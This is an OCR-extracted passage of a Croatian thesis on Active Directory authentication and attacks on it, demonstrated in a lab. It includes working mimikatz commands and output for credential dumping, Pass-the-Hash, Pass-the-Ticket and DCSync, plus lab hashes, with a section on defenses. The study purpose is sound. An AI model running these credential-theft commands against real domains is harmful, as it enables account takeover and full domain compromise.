Sifrira je koristeci sazetak lozinke od posluzitelja kojem se pristupa te prosljeduje
korisniku

10.Korisnik lokalno sprema novu dobivenu ulaznicu i prosljeduje kopiju posluzitelju

11.Posluzitelj deSifrira ulaznicu koristeci sazetak svoje lozinke

12.Nakon uspjesnog deSifriranja, posluzitelj provjerava svoje pristupne liste kako bi

zakljucio smije li propustiti korisnika (Crowdstrike, 2023)
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Slika 6. Tijek Kerberos autentifikacije
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4.3 Paswordless autentifikacija

Ova vrsta autentifikacije je najmoderniji nac€in autentifikacije i zamjenjuje lozinke drugim
faktorima provjere koje, iz perspektive korisnika, smatramo sigurnijima. Prilikom
provjere autenticnosti lozinkom, lozinka koju je dao korisnik usporeduje se s onim $to je
pohranjeno u bazi podataka. U passwordless sustavima, umjesto lozinke koriste se
skeniranja lica, roznice ili otiska prsta korisnika, FIDO sigurnosni kljucevi i sli¢ne
metode kako bi se na temelju ovih podataka u pozadini automatski izgenerirale
vjerodajnice koje sustav povezuje s odredenim korisnikom. Bitno je primijetiti da, iako
ime ukazuje na drukcije, AD u pozadini jo$ uvijek koristi lozinke za autentifikaciju
korisnika kroz domenu, no u ovom slu€aju tom lozinkom automatizirano upravlja sam
Active Directory, ne ostavljajuci korisniku na izbor duljinu i sloZzenost lozinke.
(CyberArk)*®

Glavni nedostatak paswordless autentifikacije je da je relativno skupa za implementirati,
zbog Cega se organizacije rijetko u potpunosti prebacuju na ovaj nacin autentifikacije.
Ako se organizacija pak odluci za koriStenje passwordless sustava, u AD okruzenju ovu
mogucnost naj¢eSce dobiju visokoprivilegirani korisnici, poput Domain Administrator

(administrator domene) i Enterprise Administrator (administrator Sume) uloga.

4.4 Autorizacija

Autorizacijske politike se u Windows sustavima primjenjuju kroz koncept pristupnih lista
(engl. Access Control List, ACL). Pristupne liste se koriste kako bi se pojedinim
racunalima ili korisniCkim racunima dozvolio odnosno zabranio pristup do nekog resursa
te kako bi se odredili dnevnicki zapisi koji se trebaju kreirati prilikom pojedinog pokusaja
pristupa. ACL-ovi se mogu podijeliti na dvije podgrupe — diskrecijske i sistemske

pristupne liste.

Diskrecijske pristupne liste (engl. Discretionary Access Control List, DACL) su liste koje

definiraju koji korisnici odnosno sigurnosne grupe imaju odnosno nemaju pravo pristupa

16 https://www.cyberark.com/what-is/passwordless-authentication/
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na pojedini resurs. Prilikom kreacije nekog objekta, pravo na upravljanje DACL-om se

daje korisniku koji je objekt kreirao ili vlasniku objekta nad kojim je DACL kreiran.

S druge strane, sistemske pristupne liste (engl. System Access Control List, SACL) su
liste koje definiraju dogadaje odnosno ponasanja korisnika koja se trebaju dogoditi kako
bi se stvorio dnevnicki zapis o nekom dogadaju. Primjerice, ukoliko neki korisnik pokusa
otvoriti spomenutu NTDS.dit, SACL bi trebao naloZiti kreiranje dnevnitkog zapisa o

pokusaju pristupa tom objektu. (Medhi)

4.5 Racéunovodstvo

Racunovodstvo (engl. Accounting) u Windows sustavima je implementirano koristeci
Event Tracing for Windows odnosno ETW servise. ETW je mehanizam koji omogucuje
pouzdano pracenje dogadaja unutar kernela i korisniCkog dijela operacijskog sustava
Windows. Primarno ih dijelimo na pruzatelje (engl. providers) i Kklijente (engl.
consumers) — pruzatelji su aplikacije koje osluskuju dogadaje unutar operacijskog
sustava, a klijenti su aplikacije koji se pretplacuju na te iste logove kako bi ih dalje
koristili. Ovakvi dnevnicki zapisi se u Windows operacijskom sustavu mogu vidjeti kroz

Preglednik dogadaja (engl. Event Viewer). (Microsoft, 2021)
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Slika 7. Event Viewer

& Event Viewer
File Action View Help

&= | xnm Bm
E Event Viewer (Local) Security Number of events: 16.017
ust 5 reeeee—————————————————————————eme—e—e—mm—m——————
ogs

nnnnn EventID Task Category

28.6.2023. 10:58:18
28.6.2023. 10:58:18
28.6.2023. 10:58:13
28.6.2023. 10:58:13
28.6.2023. 10:58:13
28.6.2023. 10:57:45

28.6.2023. 10:57:45
2862023, 10:57:45
2862023, 10:57:45

Event 4768, Micrasoft Windows security auditing. x

\Account Information:
Accoun it Name: dmilicevic

Supplied Realm Name: OFFENSE.LOCAL

User ID: offense\dmilicevic
Service Infor

Service Name: kibtgt

Service ID: offenseikabtgt
Network Infe stion:

Client Address: :#f£:10.0.0.7

51809

040810010
0x0

e 0x12
2

Certificate information is only provided if 2 certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.

5. Napadi na NTLM autentifikacijski proces

Za izvrSavanje svih vrsta napada potrebno je napraviti laboratorijsku okolinu (engl. lab
environment) preko koje ¢emo moci testirati ovu vrstu napada bez da pokuSavamo
oStetiti neku tvrtku ili korisnika. Da bi test bio uspjesan potrebno je podic¢i dva windows
sustava koristeéi virtualbox. virtualno testno okruzenje u kojem se nalazi jedan Domain
Controller, jedno obic¢no korisni¢ko racunalo i Kali radunalo koje ¢e se koristiti kao
pomocno ra¢unalo za napad na sustav. Korisnici u sustavu su dmilicevic koji predstavlja
obi¢nog korisnika s niskim privilegijama te DA-dmilicevic koji predstavlja adminstratora
domene (engl. Domain Administrator). Zaobilazenjem prva tri koraka autentikacije
dolazimo kada uspijemo sa odredenim alatima doéi do ispisa sazetaka lozinki i
koristimo te iste sazetke za ulogiravanje na sustav bez potrebe dodatnog pisanja

lozinke. Sustavi ispod Windows 10 su imali ranjivost gdje njemu nije bila potrebna
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dodatna provjera nego je sustav znao ako imamo sazetak lozinke da smo onda mi taj

korisnik.” (Lukas Kotlaba, 2022)

Slika 8. Lab Environment

Pyhisical Machine

DC 01 Server 2008

Windows 7 Windows 10

e

Windows 7 User Windows 10 User

Lukés Kotlaba(2022)

5.1 Pass-the-Hash

Kao S§to samo ime govori, Pass-the-Hash napad se oslanja na poznavanje sazetka
korisniCke lozinke kako bi se napadal uspjesSno prijavio na sustav. Prisjetimo li se
autentifikacijskog procesa NTLM protokola, lako je vidjeti da se prema posluzitelju
odnosno Domain Controller-u ne Salje korisni¢ka lozinka, ve¢ odgovor na challenge koji
je Sifriran NT sazetkom korisniCke lozinke. 1z ovog razloga moguce se autentificirati u

poznavanjem samo sazetka lozinke. (HackTricks)'®

U primjeru ispod koriSten je alat mimikatz kako bi se iz memorije Zrtvinog racunala

izvukao sazetak lozinke — naime, prilikom prijave korisnika na racunalo ili u sustav,

17

https://pdfs.semanticscholar.org/e489/2b07da993785ab17c50cf0ddcbb3dd63db00.pdf? gl=1*10si83f* g
a*MTKOM|Y1NjgzMC4xNjaxMjAWOTk3* ga H7P4ZT52H5*MTY40DOxODE2MC44LiAuMTY40DOQOXxODE
2MS410S4wLjA

18 https://book.hacktricks.xyz/welcome/readme
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Windows u memoriju sprema sazetak lozinke u SAM (engl. Security Account Manager)
bazu - NTHash svih prijavljenih korisnika ostaje spremljen do ponovonog pokretanja. S
prilagodenim alatima poput mimikatz-a moguce je izvuéi sadrZaje ove baze te zajedno s

tim i NT sazetke korisni¢ke lozinke.

Slika 9. Izvlacenje NT saZetka iz SAM baze pomoc¢u mimikatz alata

PS C:\Users\dmilicevic.offense\Desktop> .\mimi.exe

CHHEHH#HE . mimikatz 2.2.8 (x64) #19041 Sep 19 2022 17:44:08
"A La Vie, A L'Amour" - (oe.eo0)
/*** Benjamin DELPY ~“gentilkiwi® ( benjamin@gentilkiwi.com )
> https://blog.gentilkiwi.com/mimikatz
"## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'HHAHH" > https://pingcastle.com / https://mysmartlogon.com ***/

imikatz # privilege::debug
rivilege '20' OK

imikatz # sekurlsa::logonpasswords

Authentication Id : & ; 3773916 (©60©66060:603995d6)
: Interactive from 2
da-dmilicevic
offense

LABDC
6/28/2823 8:18:83 PM
S-1-5-21-3675448549-162727538-360997123-1185

[ee@00003] Primary

* Username : da-dmilicevic

* Domain : offense

* NTLM 3 2ed87bdb5fdc5e9cba88547376818d4

Nakon Sto smo izvukli NT sazetak Domain Administrator korisnika da-dmilicevic koji je u
jednom trenutku bio prijavljen na ovo raCunalo, mozemo izvrsiti Pass-the-Hash napad

kako bismo s privilegijama tog korisnika mogli nastaviti napadati domenu.
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Slika 10. Pokrenut Command Prompt s pravima korisnika da-dmilicevic

mimikatz # sekurlsa::pth /user:da-dmilicevic /ntlm:32ed87bdb5fdc5e9cba88547376818d4 /domain:offense.local /run cmd.exe
user : da-dmilicevic
domain : offense.local
program : cmd.exe
impers. : no

NTLM : 32ed87bdb5fdc5e9¢cbag88547376818d4 C:\Users\dmilicevic.offense\Desktop>psexec \\108.0.08.6 cmd.exe

| PID 972
TID 1152 PsExec v2.43 - Execute processes remotely

B3 \10.0.0.6: cmd.exe

|
| LSA Process is now R/W Copyright (C) 2001-2823 Mark Russinovich
| LUID @ ; 4147145 (©©000000:003f47cd) Sysinternals - www.sysinternals.com
\_ msvl_@ - data copy @ ©©00023016C083CO : OK !
\_ kerberos - data copy @ ©0©000238172D2B@8

des_cbc_md4 -> null Microsoft Windows [Version 10.8.20348.587]
des_cbc_md4 oK (c) Microsoft Corporation. All rights reserved.
des_cbc_md4 OK

des_cbc_md4 oK C:\Windows\system32>whoami

des_cbc_md4 OK offense\da-dmilicevic

des_cbc_md4 OK

des_cbc_md4 oK C:\Windows\system32>

*Password replace @ ©@000230173E7468 (32) -> null

\
\
\
\
\
\
\
\

mimikatz #

5.2 Overpass-the-Hash

Overpass-the-Hash je napad koji se izvodi identi¢no kao i obi¢ni Pass-the-Hash napad,
no interno se znacajno razlikuje. Dok Pass-the-Hash koristi ranjivosti u NTLM protokolu
kako bi se autentificirao kao neki korisnik, Overpass-the-Hash se oslanja na
Kerberosovu kompatibilnost s NT sazetcima. Naime, korisnik se u Active Directory
okruZenju u kojem je onemogucena NTLM autentikacija moZe prijaviti koristeéi svoj NT
sazetak jer Kerberos prepoznaje da se radi o starom protokolu te ga automatski
.,modernizira“ — koristi NT sazetak umjesto lozinke kako bi pomocu nje izgenerirao
Ticket-Granting-Ticket (TGT). Buduéi da je ovaj napad iznimno sli€an obicnom Pass-
the-Hash napadu, nije potrebno dodatno objasnjavati metode obrane od istog. (Warren,
2022)"

6. Napadi na Kerberos autentikaciju

6.1 Pass-the-ticket
Slicno Pass-the-Hash napadu, Pass-the-Ticket napad se svodi na izvlacenje korisnickih

ulaznica iz memorije umjesto sazetaka korisnickih lozinki. Izvu€ene ulaznice se tada
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mogu spremiti na raCunalo korisnika i ubacivati u procese kako bismo ih pokretali s

privilegijama vlasnika ulaznice.

U sljedecem primjeru koristen je alat mimikatz kako bi se izlistale sve ulaznice koje se
trenutno nalaze na Zrtvinom racunalu. Obzirom da smo trenutno prijavljeni kao obi¢ni
korisnik dmilicevic, cilj nam je pronaci ulaznice korisnika s ve¢im privilegijama, poput

rac¢una da-dmilicevic.

Slika 11. Ulaznice izvu¢ene iz memorije pomocu alata mimikatz

mimikatz # sekurlsa::tickets /export

Authentication Id : @ ; 3773910 (©0000000:003995d6)

Session : Interactive from 2

User Name : da-dmilicevic

Domain : offense

Logon Server : LABDC

Logon Time : 6/28/2023 8:18:03 PM

SID : S-1-5-21-3675448549-162727538-3608997123-1165

* Username : da-dmilicevic
* Domain : OFFENSE.LOCAL
* Password : (null)

Group @ - Ticket Granting Service

Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket

Jednom kada izvuCemo ove ulaznice, mozemo ih ubrizgati u trenutno otvoreni

Powershell proces kako bismo dobili privilegije korisnika da-dmilicevic. (Netwrix)
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Slika 12. Umetanje ulaznice korisnika da-dmilicevic u otvoreni Powershell proces

mimikatz # kerberos::ptt [8;399598]-6-0-40a56000-da-dmilicevic@LDAP-LabDC.offense.local.kirbi
* File: '[©;399598]-0-0-48a5080800-da-dmilicevic@LDAP-LabDC.offense.local.kirbi': OK

mimikatz # exit
Bye!
PS C:\Users\dmilicevic.offense\Desktop> klist

Current LogonId is ©:8x3e856

Cached Tickets: (1)

#8> Client: @ OFFENSE . LOCAL

Server: LDAP/LabDC.offense.local/offense.local @ OFFENSE.LOCAL

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags ©x40a5000@ -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 6/28/2823 206:18:03 (local)

End Time: 6/29/20823 6:18:83 (local)

Renew Time: 7/5/2823 20:18:03 (local)

Session Key Type: Kerberos DES-CBC-CRC

Cache Flags: ©

Kdc Called:

6.2 Vrste Kerberos ulaznica

lako je u prethodnom primjeru izveden obi¢an Pass-the-Ticket napad gdje je iskoriStena
ulaznica obi¢nog korisnika, u podrucju PTT napada postoji nekoliko tipova ulaznica koje
su od znaCaja — srebrne, zlatne i dijamantne ulaznice (eng. silver, golden, diamond
tickets). Kako bi napadac uspio doci do ova 3 tipa ulaznica, prvo mora doéi do NT
sazetka krbtgt racuna, raCuna pod kojim je pokrenut KDC. Sva 3 tipa ulaznica su

iznimno sli¢na, no razlikuju se bitnim detaljima.

Srebrne ulaznice su ulaznice koje napada¢ moze ,izgraditi, odnosno moze iskoristiti
alate poput spomenutog mimikatz alata kako bi na temelju gotovog predlosSka kreirao
ulaznicu za proizvoljnog korisnika. Nakon $to se ulaznica izgradi, napadac ¢e ulaznicu
Sifrirati NT sazetkom krbtgt raCuna te ¢e prema KDC-u poslati Sifriranu izgradenu

ulaznicu kako bi je posluzitelj uspjeSno desifrirao koriste¢i navedeni sazetak.
Zlatne ulaznice se izgraduju na identiCan nacin, no razlika je u privilegijama koje su

napadacu dostupne prilikom koriStenja jedne odnosno druge ulaznice. Zlatne ulaznice

napadacima pruzaju neogranicen pristup svim resursima domene — srebrne ulaznice su
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ograni¢ene, stoga napada¢ ne moze pristupiti svakom, ve¢ odredenim resursima u

domeni.

lako je suptilan, srebrne i zlatne ulaznice imaju jedan glavni problem zbog kojeg ih je
relativno lako razlikovati od normalnih ulaznica. Prisjetimo li se autentifikacijskog
procesa u Kerberosu, vidljivo je da prvo autentifikacijski posluZzitelj klijentu vraca TGT,
nakon ¢ega klijent taj TGT Salje TGS-u kako bi pristupio drugim resursima. To znaci da
svakom TGS zahtjevu (TGS-REQ) mora prethoditi zahtjev prema autentifikacijskom
posluzitelju (AS-REQ). Obzirom da su srebrne i zlatne ulaznice ruéno izgradene, a nije
ih izdao KDC, kod takvih ulaznica neéemo mocdi vidjeti povezane AS-REQ i TGS-REQ
zahtjeve. Dijamantne ulaznice taj problem rjeSavaju koristenjem legitimnih ulaznica koje
je Domain Controller zaista izdao u nekom trenutku u vremenu. Kada napadac uspije
izvuci i desifrirati legitimnu ulaznicu, tada je moze Sifrirati NT saZetkom krbtgt racuna
kako bi dobio neogranicen pristup svim resursima domene. Dakle, ukratko, dijamantne

ulaznice su sli¢ne zlatnim ulaznicama, ali ih je znatno teze detektirati. (HackTricks)

7. DCSync napad

DCSync je tehnika izvlaCenja vjerodajnica koja moze dovesti do kompromitacije
korisnickih vjerodajnica i, jo$ ozbiljnije, moze biti jedan od poc€etnih koraka za stvaranje
zlatne ulaznice jer prilikom izvodenja napada napada¢ moze do¢i do NT sazetka krbtgt

raduna.

Kako bi se napad izvrSio, napada¢ mora kompromitirati korisniCki racun s privilegijama
za repliciranje promjena direktorija. Nakon Sto napadaC preuzme odgovarajuci racun,
moze koristiti Directory Replication Service Remote Protocol (MS-DRSR) za repliciranje
vjerodajnica i drugih podataka iz Active Directoryja. Napada¢ moze od DC posluzitelja
zatraziti poCetak replikacije te tako dobiti saZetke lozinki iz njegovog naknadnog
odgovora. (HackTricks) Ovaj napad je moguce izvesti koristenjem mimikatz alata, Sto je

vidljivo na slici iz testnog okruzenja.
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Slika 13. Izvlacenje NT saZetka krbtgt racuna putem DCSync napada

mimikatz # lsadump::dcsync /user:krbtgt /domain:offense.local
[DC] 'offense.local' will be the domain

[DC] 'LabDC.offense.local’ will be the DC server

[DC] 'krbtgt' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt
*+ SAM ACCOUNT **

SAM Username : krbtgt

Account Type : 30000000 ( USER_OBIJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration

Password last change : 6/27/2023 10:22:24 PM

Object Security ID : §-1-5-21-3675448549-162727538-360997123-502
Object Relative ID : 502

Credentials:
CEE L2 7259af3bc1827aa9836750794ce8f4a
ntlm- @: 27259af3bcl827aa9836750794ce8f4a
Im - @: balkefe6dd744c81f8518a35¢cBc6784b265

8. Obrana od navedenih napada

U cilju obrane od ove vrste napada bitno je napraviti sigurnosni model najmanje
privilegije (engl. Principle of Least Privilege, POLP). Ova vrsta modela ograni¢ava
opseg i ublazava utjecaj ovih napada i smanjuje sposobnost napadaCa da naprave
eskalaciju privilegija i dopustenja na sustavu. Ograni¢enja se obi¢no daju korisnicima za
prava pristupa na temelju zadataka potrebnih za njihov posao. Uklanjanje nepotrebnih
administratorskih prava uvelike pomazZe smanjenju prijetnje za ovu vrstu napada, ali i za
druge vrste, obzirom da za izvlaenje podataka iz SAM baze napada¢ mora barem biti
administrator raCunala. Takoder, dobra praksa je i iskljuCivanje NTLM protokola ukoliko
je to moguce obzirom na brojne ranjivosti i dostupnost modernijeg autentifikacijskog

protokola u obliku Kerberosa.
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9. Sazetak

Microsoft Active Directory je programsko rjeSenje za upravljanje resursima u
organizacijskim okolinama. Temelji elementi AD sustava su njegovi korisnici, raCunala
odnosno posluZitelji te glavni posluzitelj zvan Domain Controller. Unutar Active
Directoryja administratorima je omogucena hijerarhijska organizacija pojedinih objekata,
kao i granularno upravljanje i primjenjivanje politika nad navedenim objektima koristeci
grupne politike (engl. Group Policy Object, GPO). Glavni strukturalni dijelovi AD sustava
su pojedine organizacijske jedinice, domene i stabla odnosno Sume, koji Cine
organiziranu cjelinu. Uz lokalnu (engl. on-premises) verziju Active Directoryja takoder
postoji i modernije cloud okruzenje zvano Azure Active Directory. Autentifikacija se
unutar AD okruzenja vrSi koristeCi dva protokola: stariji NTLM i moderniji Kerberos.
Autorizacija se ne oslanja na mrezne protokole, ve¢ na ugradene mehanizme pristupnih
lista (engl. Access Control Lists). Zbog svojih implementacijskih mana i lokalne prirode
Active Directory on-premises rjeSenja, napade na ove protokole poput Pass-the-Ticket i
Pass-the-Hash je nemoguce mitigirati te se napadaci uz relativno malo znanja mogu
ukorijeniti duboko u mrezi. Jedan od najpoznatijih alata za napad na Active Directory i
njegove modele autentifikacije je Mimikatz, alat za izvlaCenje autentifikacijskih
podataka, poput sazetaka i ulaznica, iz memorije i njihovo iskoristavanje naknadno.
Klju€ni princip mitigacije i obrane od ovakvih napada jest Princip najmanjih ovlasti jer je
cii napadaima maksimalno otezati put do osjetljivih podataka odnosno
visokoprivilegiranih ra¢una. Uz ovo, potrebno je voditi dobru inventuru vlastitih
posluzitelja, koristiti vatrozide te sustave za detekciju napada, kao i alate za detekciju i
odgovor na napad na pojedinom racunalu (engl. Endpoint Detection and Response,
EDR). Kombinacijom navedenih metodologija i alata moguce je zna€ajno otezati napad

na sustav, no nije ga moguce i sprijeciti u potpunosti.

Kljuéne rijeci: Active Directory, NTLM, Domain Controller, Kerberos, Mimikatz, Pass-

The-Hash, Pass-The-Ticket, forest, domain, tree, krbtgt
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10. Summary

Microsoft Active Directory is a software solution used to manage resources in an
organizational environment. The foundational elements of an AD system are its users,
computers or servers, and the main server dubbed the Domain Controller. Within Active
Directory, administrators are given the leverage to organize their objects in a
hierarchical manner, as well as to granularly control and enforce policies on the objects’
behaviour using group policies (Group Policy Objects, GPO). The main structural
components of an AD environment are the organizational units, domains, trees and
forests which form an organized unit. Alongside the on-premises version of Active
Directory, there exists a modern, cloud-based version of AD dubbed Azure Active
Directory. Authentication in AD is handled by two protocols: the older NTLM and the
more modern Kerberos. Authorization within an AD environment is not handled by the
mentioned network protocols, but rather a model of Access Control Lists is used. Due to
their implementation flaws and the nature of AD on-premises solution, attacks to these
protocols are impossible to mitigate and it is possible for an attacker with little
knowledge to persist deep within the network. One of the most famous toolkits for
performing AD attacks and, more specifically, attacking the authentication protocols
within is Mimikatz, a tool used to extract hashes and tickets from memory and abuse
them later. The main principle for defending from these types of attacks is the Principle
of Least Privilege model, since it is the defenders’ goal to make the attacker’s path to
sensitive information and highly-privileged accounts as difficult as possible. Alongside
this, it is necessary to have an up-to-date asset inventory, use firewalls and intrusion
prevention systems, as well as per-computer Endpoint Detection and Response (EDR)
agents. By combining the aforementioned methodologies and toolsets it is possible to

significantly reduce the attack surface, however it is impossible to mitigate it completely.

Keywords: Active Directory, NTLM, Domain Controller, Kerberos, Mimikatz, Pass-The-

Hash, Pass-The-Ticket, forest, domain, tree, krbtgt
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